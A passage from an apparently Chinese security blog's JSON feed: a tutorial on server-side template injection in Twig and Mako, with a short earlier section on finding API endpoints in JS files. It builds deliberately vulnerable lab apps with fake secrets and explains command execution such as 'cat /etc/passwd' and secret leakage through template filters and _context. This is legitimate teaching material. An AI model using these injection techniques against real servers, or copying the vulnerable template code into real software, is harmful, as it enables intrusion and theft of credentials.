class=\"line\"><span>POST /login 指向验证账号密码的代码</span></span></code></pre>\n<h2 id=\"接口\"><a class=\"anchor\" href=\"#接口\">#</a> 接口</h2>\n<p>接口（Interface/API）是连接两个不同系统、硬件或软件组件的桥梁，定义了数据交换和功能调用的规则与协议。在软件中，API（应用程序编程接口）允许应用间相互通信和共享数据；在硬件中，它指物理连接端口（如USB）；在编程语言中，它是定义方法规范的抽象类型</p>\n<p>接口是后端业务逻辑的具体体现。前端（网页或 App）通过调用接口来获取数据，并将其渲染成用户看到的画面。</p>\n<h2 id=\"直接查看js文件\"><a class=\"anchor\" href=\"#直接查看js文件\">#</a> 直接查看JS文件</h2>\n<p>可以通过F12打开开发者工具，在Network中刷新页面选择过滤器JS</p>\n<p><img loading=\"lazy\" src=\"/2026/04/23/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/20.png\" class=\"\"></p>\n<p>按照文件大小排序，通常体积最大的JS文件包含了核心的业务逻辑和路由表（通常命名为<code>app.js</code>,<code>main.js</code>,<code>vendor.js</code>或一串哈希值）</p>\n<p>之后可以采用<code>ctrl+shift+F</code>打开全局搜索，可以搜索：<code>/api/</code>,<code>/v1/</code>,<code>/v2/</code>,<code>/manage/</code>,<code>/admin/</code>等常见接口前缀，也可以按照文件后缀：<code>.php</code>,<code>.action</code>,<code>.do</code>,<code>.jsp</code>，针对Vue/React可以搜索<code>path:</code>,<code>routes</code>,<code>router.push(</code>,按请求方法可以搜索：<code>type: &quot;POST&quot;</code>,<code>method: &quot;GET&quot;</code>,<code>axios.post(</code>,<code>$.ajax(</code></p>\n<h2 id=\"findsomething\"><a class=\"anchor\" href=\"#findsomething\">#</a> findsomething</h2>\n<p>和Hackbar一样属于插件，在Chorm插件商店中搜索FindSomething就可以下载</p>\n<p><img loading=\"lazy\" src=\"/2026/04/23/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/21.png\" class=\"\"></p>\n",
            "tags": []
        },
        {
            "id": "https://zlaryy.top/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/",
            "url": "https://zlaryy.top/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/",
            "title": "SSTI模板注入",
            "date_published": "2026-04-11T12:50:00.000Z",
            "content_html": "<h1 id=\"ssti\"><a class=\"anchor\" href=\"#ssti\">#</a> SSTI</h1>\n<h1 id=\"注在本博客中所看到所有raw和endraw内容都是为了避免hexo报错所写各位师傅在实验payload的时候切记不要带上raw和endraw\"><a class=\"anchor\" href=\"#注在本博客中所看到所有raw和endraw内容都是为了避免hexo报错所写各位师傅在实验payload的时候切记不要带上raw和endraw\">#</a> 注：在本博客中所看到所有raw和endraw内容都是为了避免hexo报错所写，各位师傅在实验payload的时候切记不要带上raw和endraw</h1>\n<p>SSTI，即服务端模板注入，是一种存在于 Web 应用程序中的严重安全漏洞。当攻击者能够利用现有的模板引擎（如 Jinja2、Twig、FreeMarker、Thymeleaf 等）注入恶意代码，并在服务器端被解析和执行时，就会发生SSTI漏洞。本文不涉及jinja2模版下的注入payload。</p>\n<h1 id=\"twig\"><a class=\"anchor\" href=\"#twig\">#</a> Twig</h1>\n<p>参考：<a href=\"https://www.anquanke.com/post/id/246093#h2-0\">https://www.anquanke.com/post/id/246093#h2-0</a></p>\n<p>Twig是php中的模版引擎，类似于python中的jinja2，同样利用<code>&#123;&#123;&#125;&#125;</code>来输出变量，<code>&#123;%%&#125;</code>来执行逻辑控制，当服务器不加修饰地将用户输入内容拼接到页面中，就可能出现SSTI模板注入，恶意代码示例：<code>&lt;h1&gt;Hello, &#123;&#123; name &#125;&#125;!&lt;/h1&gt;</code>，当用户传参<code>?name=ZLARYY</code>，那么页面就会显示</p>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/1.png\" class=\"\"></p>\n<p>不过，如果我们传入<code>&#123;&#123;7*7&#125;&#125;</code>，那么后端就会优先计算<code>7*7</code>这个数学表达式，然后进行拼接</p>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/2.png\" class=\"\"></p>\n<p>在php中，很多内置的系统函数只需要传入函数名的字符串就可以被调用（比如<code>system()</code>，<code>exec()</code>，<code>passthru()</code>），但也可以在Twig语法中寻找能够接受回调函数的机制，现代TwigSSTI最经典的利用方式是使用过滤器，比如<code>map</code>，<code>filter</code>，<code>sort</code>，<code>reduce</code></p>\n<h2 id=\"本地靶场测试\"><a class=\"anchor\" href=\"#本地靶场测试\">#</a> 本地靶场测试</h2>\n<p>直接使用apache2服务就行：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sudo systemctl start apache2</span></span>\n<span class=\"line\"><span>nano /var/www/html/index.php</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?php</span></span>\n<span class=\"line\"><span>require_once __DIR__ . '/vendor/autoload.php';</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>$loader = new \\Twig\\Loader\\ArrayLoader();</span></span>\n<span class=\"line\"><span>$twig = new \\Twig\\Environment($loader,[</span></span>\n<span class=\"line\"><span>    'debug' => true,</span></span>\n<span class=\"line\"><span>]);</span></span>\n<span class=\"line\"><span>$twig->addGlobal('site_config', [</span></span>\n<span class=\"line\"><span>    'db_password' => 'root_secret_p@ssw0rd',</span></span>\n<span class=\"line\"><span>    'admin_email' => 'admin@hacker.local',</span></span>\n<span class=\"line\"><span>    'version'     => '3.0.0',</span></span>\n<span class=\"line\"><span>    'flag'        => 'ZLARYY&#123;Why_y0U_C@n_f1nd_mmme?&#125;'</span></span>\n<span class=\"line\"><span>]);</span></span>\n<span class=\"line\"><span>$twig->addExtension(new \\Twig\\Extension\\DebugExtension());</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>$userInput = isset($_GET['name']) ? $_GET['name'] : 'Guest';</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>// 🚨 漏洞核心：直接把用户的输入拼接到模板字符串中</span></span>\n<span class=\"line\"><span>$templateString = \"&#x3C;h1>Hello, \" . $userInput . \"!&#x3C;/h1>\";</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>try &#123;</span></span>\n<span class=\"line\"><span>    $template = $twig->createTemplate($templateString);</span></span>\n<span class=\"line\"><span>    echo $template->render();</span></span>\n<span class=\"line\"><span>&#125; catch (Exception $e) &#123;</span></span>\n<span class=\"line\"><span>    echo \"Error: \" . $e->getMessage();</span></span>\n<span class=\"line\"><span>&#125;</span></span></code></pre>\n<h2 id=\"map\"><a class=\"anchor\" href=\"#map\">#</a> map</h2>\n<p>其中一种payload是这样：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼6--></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/3.png\" class=\"\"></p>\n<p><code>[&quot;cat /etc/passwd&quot;]</code>：在Twig中创建了一个数组，里面只有一个Linux系统命令的元素</p>\n<p><code>| map(&quot;system&quot;)</code>：<code>|</code>是管道符，将前面的数组传给后面的过滤器，<code>map()</code>是Twig的数组处理过滤器，它的作用是对数组里面的每一个元素执行一个操作，将system当作参数传给map()，就相当于执行了<code>system(cat /flag)</code>，之后<code>map()</code>会将函数的返回值重新打包为新的数组</p>\n<p><code>| join(&quot;,&quot;)</code>：函数执行完毕之后会返回命令的结果，<code>join(&quot;,&quot;)</code>将结果转换为字符串通过<code>&#123;&#123;&#125;&#125;</code>渲染并显示在浏览器页面上</p>\n<p>由于system函数执行成功之后会立刻将命令的输出结果回显到网页上，所以这里的第一行是system()函数执行成功返回的结果，后面的内容是join转换为字符串所产生的，由于我们提到map()会将返回结果打包为数组，所以如果我们去掉join，看到的就会是Array</p>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/4.png\" class=\"\"></p>\n<p>关于twig_array_map，源码中是：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> tig_array_map</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">array</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">arrow</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">r</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    foreach</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">array</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> as</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">k</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> =</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">v</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">r</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">[</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">k</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">]</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#999999;--shiki-dark:#666666\">  $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">arrow</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">v</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">k</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    return</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">r</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span></code></pre>\n<p>了解了map过滤器，接下来我们试试其他的过滤器：</p>\n<h2 id=\"filter\"><a class=\"anchor\" href=\"#filter\">#</a> filter</h2>\n<p>filter过滤器与map的作用区别不大，payload为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼10--></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/5.png\" class=\"\"></p>\n<p><code>filter(&quot;system&quot;)</code>会将前面数组里的命令交给system执行，由于非空字符串在php里面都被视为true，于是filter会认为这个元素“符合条件”，然后将其保留在数组中，最后join转换为字符串之后，回显的就是<code>cat /flag</code>这个数组元素</p>\n<h2 id=\"sort\"><a class=\"anchor\" href=\"#sort\">#</a> sort</h2>\n<p>这个过滤器的正常用途是用于对数组进行自定义排序。它底层调用的是PHP的<code>usort()</code>函数，需要比较两个元素的大小，他的payload为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼12--></span></span>\n<span class=\"line\"><span>或者</span></span>\n<span class=\"line\"><span>&#x3C;!--swig￼13--></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/6.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/7.png\" class=\"\"></p>\n<p>往数组中塞入两个元素，就会启动引擎的比较机制，将数组中的元素一起取出之后放进system函数里面，相当于执行了<code>system(&quot;cat /flag&quot;, 0)</code>，而system函数的第二个参数在php中是<code>&amp;$return_var</code>（用于接收状态码），我们传入的第二个元素充当了或被忽略了这个占位符，从而成功执行命令，不过在<code>php 8.x</code>版本中，像<code>system($cmd, &amp;$return_var)</code>或<code>exec</code>、<code>passthru</code>这样的函数，它们的第二个参数是<strong>强制按引用传递 (Pass by Reference)</strong> 的。如果<code>sort</code>过滤器传递给它的是一个字面量（比如上面的 <code>0</code> 或<code>&quot;&quot;</code>），PHP 8 会直接抛出致命错误，导致利用失败。所以在高版本中我们通常使用map和filter这两个过滤器</p>\n<h2 id=\"_self\"><a class=\"anchor\" href=\"#_self\">#</a> _self</h2>\n<p>在早期的 Twig 版本中，引擎内部有一个全局变量叫<code>_self</code>。在当时，<code>_self</code>指向的是当前的模板对象 。由于它是一个对象，我们就可以通过<code>_self.env</code>直接获取到Twig的运行环境 ，不过在Twig2.0之后<code>_self</code>就受到了限制，甚至在3.0版本之后，<code>_self</code>就只是一个普通的字符串，不具有<code>env</code>属性或者宏，于是就会看到错误</p>\n<p>如果版本允许的话，我们可以利用如下payload：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼16-->&#x3C;!--swig￼17--></span></span></code></pre>\n<p>命令id被执行之后就会返回当前用户的id</p>\n<h2 id=\"信息收集\"><a class=\"anchor\" href=\"#信息收集\">#</a> 信息收集</h2>\n<p>当然，SSTI还有一种基础的利用方式就是用来泄露源码和程序环境中的上下文信息，在<code>Twig</code>引擎中，我们可以通过下面方法获得一些关于当前应用的信息</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼18--> #指向当前应用</span></span>\n<span class=\"line\"><span>&#x3C;!--swig￼19--></span></span>\n<span class=\"line\"><span>&#x3C;!--swig￼20--></span></span>\n<span class=\"line\"><span>&#x3C;!--swig￼21--></span></span></code></pre>\n<p>其中dump()是Twig中的调试函数，可以把当前环境中的变量、对象甚至是底层的类信息全部打印出来，相当于<code>var_dump()</code></p>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/8.png\" class=\"\"></p>\n<p>如果dump报错不可用，盲打手段通常是去读取Twig默认的全局环境变量：<code>_context</code>，<code>_context</code>是一个包含了当前模版所有可用变量的数组，虽然我们不能用<code>dump</code>把它打印出来，但我们可以结合刚才学过的过滤器，把它里面的键名提取出来：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼23--></span></span></code></pre>\n<p><code>_context</code>：拿到当前环境的所有环境变量（数组）</p>\n<p><code>| keys</code>：Twig的内置过滤器，用于提取数组中所有的“键名”</p>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/9.png\" class=\"\"></p>\n<p>看到了site_config这个变量，我们就可以像访问数组一样去读取里面的内容</p>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/10.png\" class=\"\"></p>\n<p>或者在不知道键名的情况下，我们还可以直接输出所有键名：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼26--></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/12.png\" class=\"\"></p>\n<p>所有值：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼28--></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/11.png\" class=\"\"></p>\n<p>通过这种方式我们就能从中窃取敏感信息</p>\n<p>最后是这一串：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;!--swig￼30--></span></span></code></pre>\n<p>Twig最初是为了Symfony这个庞大且著名的PHP框架而开发的。当开发者使用Symfony框架搭建网站时，Symfony会自动向Twig引擎里注入一个名为<code>app</code>的全局变量。</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>app.request：包含用户的所有请求信息（GET、POST 参数、Headers）</span></span>\n<span class=\"line\"><span>app.request.server.all：这就相当于PHP里的$_SERVER全局数组，里面有服务器信息</span></span>\n<span class=\"line\"><span>app.user：当前登录的用户对象</span></span></code></pre>\n<h1 id=\"mako\"><a class=\"anchor\" href=\"#mako\">#</a> Mako</h1>\n<p>参考：<a href=\"https://www.tr0y.wang/2022/04/29/SecMap-SSTI-mako/#mako-%E8%AF%AD%E6%B3%95\">https://www.tr0y.wang/2022/04/29/SecMap-SSTI-mako/#mako-语法</a></p>\n<h2 id=\"mako的基础语法\"><a class=\"anchor\" href=\"#mako的基础语法\">#</a> Mako的基础语法</h2>\n<p>变量取值：<code>$&#123;&#125;</code>，类比<code>&#123;&#123;&#125;&#125;</code>，输入 <code>1+1</code>，<code>2*2</code>，或者是字符串、调用对象的方法，都会渲染出执行的结果</p>\n<p>控制结构：<code>%for ... : %endfor</code>，<code>%if ... : ... %elif: ... % else: ... %endif</code>，类比<code>&#123;%if%&#125;&#123;%endif%&#125;</code></p>\n<p>Python代码块：<code>&lt;% ... %&gt;</code></p>\n<p>导入模块：在代码块的基础上加一个感叹号 <code>&lt;%! ... %&gt;</code></p>\n<p>定义函数：<code>&lt;%def name=&quot;...&quot; &gt; ... &lt;/%def&gt;</code>，调用：<code>$&#123;...()&#125;</code></p>\n<p>注释：<code>##</code>（单行）、<code>&lt;%doc&gt;</code>（多行）</p>\n<p>继承模板：<code>&lt;%inherit ... /&gt;</code></p>\n<p>包含模板：<code>&lt;%include ... /&gt;</code>，引用：<code>&lt;%page ... /&gt;</code></p>\n<p>如果需要用到<code>%</code>作为字符的话需要写成<code>%%</code></p>\n<p>单个过滤器的使用和 jinja2 一样很像，都是用 <code>|</code> 来引用。如果要使用多个过滤器，mako 需要用 <code>,</code> 来指定：<code>$&#123;&quot; &lt;tag&gt;some value&lt;/tag&gt; &quot; | h,trim&#125;</code></p>\n<p>要定义自己的过滤器也比较简单，不需要和 jinj2 一样操作 <code>environment</code>，只需要定义一个函数即可使用：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">%</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">!</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> myfilters</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> myescape</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">text</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    return</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;TAG></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> +</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> text </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">+</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/TAG></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">%</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Here</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">s some tagged text: $&#123;\"text\" | myescape&#125;</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Here</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">s some tagged text: $&#123;\"text\" | myfilters.myescape&#125;</span></span></code></pre>\n<h2 id=\"本地环境测试\"><a class=\"anchor\" href=\"#本地环境测试\">#</a> 本地环境测试</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">from</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> flask </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">from</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> mako</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">template </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Template</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">app </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">__name__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">@</span><span style=\"color:#59873A;--shiki-dark:#80A665\">app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#59873A;--shiki-dark:#80A665\">route</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> index</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # 1. 接收用户的输入（GET 请求中的 name 参数）</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    user_input </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">args</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">name</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Hacker</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # 2. 🚨 核心漏洞点：将用户输入直接拼接成了模板字符串</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    template_str </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"\"\"</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">    &#x3C;html></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        &#x3C;body></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">            &#x3C;h2>Welcome to Mako SSTI Lab&#x3C;/h2></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">            &#x3C;p>Hello, </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">user_input</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">!&#x3C;/p></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">            &#x3C;p>Try to inject something...&#x3C;/p></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        &#x3C;/body></span></span>\n<span class=\"line\"><span 